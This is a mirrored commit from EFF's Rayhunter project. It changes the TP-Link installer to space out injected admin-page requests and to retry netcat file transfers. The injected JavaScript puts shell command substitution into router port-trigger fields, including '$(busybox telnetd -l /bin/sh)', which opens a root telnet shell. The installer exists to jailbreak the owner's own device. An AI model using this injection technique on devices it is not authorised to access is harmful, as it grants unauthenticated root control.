mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-04-28 08:29:58 -07:00
TP-Link: Space out HTTP requests a bit, retry connection for sending files
On firmware M7350(EU)_V9_9.0.2 Build 241021 (but not sooner), entryId=2 was being sent before entryId=1. entryId=2 is invalid if entryId=1 does not exist yet. The reason it works is due to both requests firing simultaneously, so sometimes entryId=1 is indeed being registered first. We may also be hitting random race conditions on the backend, not 100% sure. Try to alleviate them by sleeping 1 second between started requests and waiting until the DOM is ready. Also, on sluggish devices, it can happen that nc is not ready within 100ms. Fixing that with exponential backoff.
This commit is contained in:
committed by
Cooper Quintin
parent
cedfe2d4d7
commit
fe2b8b3456
@@ -265,6 +265,14 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
// on other versions, this path is /js/settings.min.js
|
||||
let is_settings_js = path.ends_with("/settings.min.js");
|
||||
|
||||
if is_settings_js {
|
||||
// It can happen that new versions of the admin JS do not take effect because of caching
|
||||
// headers. This is a problem when trying multiple versions of the installer. Delete all
|
||||
// caching headers and hope the server never erroneously returns a 304 that way.
|
||||
req.headers_mut().remove("If-Modified-Since");
|
||||
req.headers_mut().remove("If-None-Match");
|
||||
}
|
||||
|
||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||
|
||||
let mut response = state
|
||||
@@ -281,22 +289,33 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
let mut data = BytesMut::from(data);
|
||||
// inject some javascript into the admin UI to get us a telnet shell.
|
||||
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
||||
// Intentionally register rayhunter-daemon before rayhunter-root so that we are less
|
||||
// likely to run into race conditions where rayhunter-root is launched, and the
|
||||
// installer kills the server. In practice both HTTP requests may execute concurrently
|
||||
// anyway.
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
|
||||
console.log("rayhunter: start polling");
|
||||
|
||||
var rayhunterSleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
||||
|
||||
var rayhunterPoll = window.setInterval(async () => {
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 1, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
|
||||
console.log("rayhunter: first request succeeded, stopping rayhunter poll loop");
|
||||
window.clearInterval(rayhunterPoll);
|
||||
|
||||
// PTModel.add actually does not wait for the request to finsh.
|
||||
// Wait 1 second for the request to finish.
|
||||
// Running both requests concurrently can get one of the two requests rejected, as
|
||||
// sending a request with entryId: 2 is invalid if entryId 1 does not exist (yet)
|
||||
// This only happens starting with firmware M7350(EU)_V9_9.0.2 Build 241021, earlier
|
||||
// versions are not affected.
|
||||
await rayhunterSleep(1000);
|
||||
|
||||
console.log("rayhunter: running second request");
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 2, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
|
||||
// Do not use alert(), instead replace page with success message. Using alert() will
|
||||
// block the event loop in such a way that any background promises are blocked from
|
||||
// progress too. For example: The HTTP requests to register our port triggers!
|
||||
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
|
||||
|
||||
// We can stop polling now, presumably both requests are already inflight.
|
||||
window.clearInterval(window.rayhunterPoll);
|
||||
}, 1000);"#);
|
||||
}, 1000);
|
||||
});"#);
|
||||
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
|
||||
response.headers_mut().remove("Content-Length");
|
||||
}
|
||||
|
||||
@@ -91,7 +91,7 @@ pub async fn telnet_send_file(
|
||||
payload: &[u8],
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
echo!("Sending file {filename} ... ");
|
||||
echo!("Sending file {filename}... ");
|
||||
let nc_output = {
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
@@ -102,14 +102,31 @@ pub async fn telnet_send_file(
|
||||
)
|
||||
.await
|
||||
});
|
||||
// wait for nc to become available. if the installer fails with connection refused, this
|
||||
// likely is not high enough.
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
|
||||
let mut stream;
|
||||
let mut attempts = 0;
|
||||
|
||||
loop {
|
||||
// wait for nc to become available, with exponential backoff.
|
||||
//
|
||||
// if the installer fails with connection refused, this
|
||||
// likely is not high enough.
|
||||
sleep(Duration::from_millis(100 * (1 << attempts))).await;
|
||||
|
||||
stream = TcpStream::connect(addr).await;
|
||||
attempts += 1;
|
||||
if stream.is_ok() || attempts > 3 {
|
||||
break;
|
||||
}
|
||||
|
||||
echo!("attempt {attempts}... ");
|
||||
}
|
||||
|
||||
{
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
let mut stream = stream?;
|
||||
stream.write_all(payload).await?;
|
||||
|
||||
// if the orbic is sluggish, we need for nc to write the data to disk before
|
||||
@@ -122,6 +139,7 @@ pub async fn telnet_send_file(
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
// ensure that stream is dropped before we wait for nc to terminate.
|
||||
drop(stream);
|
||||
}
|
||||
|
||||
handle.await??
|
||||
|
||||
Reference in New Issue
Block a user